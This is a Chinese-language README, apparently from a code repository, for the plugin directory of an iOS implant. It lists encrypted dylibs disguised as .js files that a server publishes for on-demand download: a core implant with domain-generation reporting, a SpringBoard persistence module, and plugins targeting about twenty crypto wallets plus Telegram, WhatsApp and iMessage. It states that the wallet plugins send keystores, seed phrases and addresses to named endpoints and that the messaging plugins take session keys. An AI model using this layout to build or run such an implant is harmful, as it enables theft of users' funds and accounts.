hashbro
2.4 KiB
2.4 KiB
details 文件说明
php artisan xxbb:build 会把本目录复制到 public/details/，给植入后的 native 按需下载。
文件名是线上的 .js 外壳，内容是 7zAES 包着的 dylib（密码见 builder README，不要改）。show.html 是目录：core + 各 App 对应哪一份插件。
编号缺 o15：原包就没有这一号。wap.js / sms.js 从 001trx 同族包按 lab 7z 密码重打；dylib 里没有自己的 DGA seed，跟 tglib.js 一样用 core 注入的 PLServerPool / 渠道 c。
公共
| 文件 | 作用 |
|---|---|
show.html |
配置清单（刷新间隔、core 地址、各 bundle 插件 URL） |
corepayload.js |
主植入。上报 / DGA 的 c 打在这里（6 处） |
helion.js |
SpringBoard（com.apple.springboard），常驻，cold=0 |
钱包 / 业务插件
文件名里的字母对应 native 上报字段 a（见 WalletSource）。
| 文件 | a |
App | bundleId |
|---|---|---|---|
a1lib.js |
a / a1 | MetaMask | io.metamask.MetaMask |
b2lib.js |
b / b1 | imToken | im.token.app |
c3lib.js |
c | TronLink | com.tronlink.hdwallet |
d4lib.js |
d | Trust Wallet | com.sixdays.trust |
e5lib.js |
e | Coinbase Wallet | org.toshi.distribution |
f6lib.js |
f | BitKeep | com.bitkeep.os |
g7lib.js |
g | Tonkeeper | com.jbig.tonkeeper |
h8lib.js |
h / h1 | Uniswap | com.uniswap.mobile |
i9lib.js |
i | Phantom | app.phantom |
j10lib.js |
j | MyTonWallet | org.mytonwallet.app |
k11lib.js |
k | Exodus | exodus-movement.exodus |
l12lib.js |
l | Ronin | com.skymavis.Genesis |
m13lib.js |
m | Krystal | com.kyrd.krystal.ios |
n14lib.js |
n | Tonhub | com.tonhub.app |
p16lib.js |
p | Global Wallet | com.global.wallet.ios |
q17lib.js |
q | Coin98 | coin98.crypto.finance.insights |
r18lib.js |
r | Bitpie | com.bitpie.wallet |
s19lib.js |
s | Solflare | com.solflare.mobile |
t20lib.js |
t | OKX | com.okex.OKExAppstoreFull |
tglib.js |
tg | Telegram | ph.telegra.Telegraph |
wap.js |
wp | net.whatsapp.WhatsApp |
|
sms.js |
sms | iMessage | imagent（已从 show.html 下架，文件仍保留） |
钱包插件跑起来后走 /uj /us /ub /ba /result 上报 keystore / 助记词 / 地址。tglib.js 走 /api/tg/t，wap.js 走 /api/wp/t（会话密钥，不是助记词）。sms.js 接口 /m/t/g /m/t/r 已注释。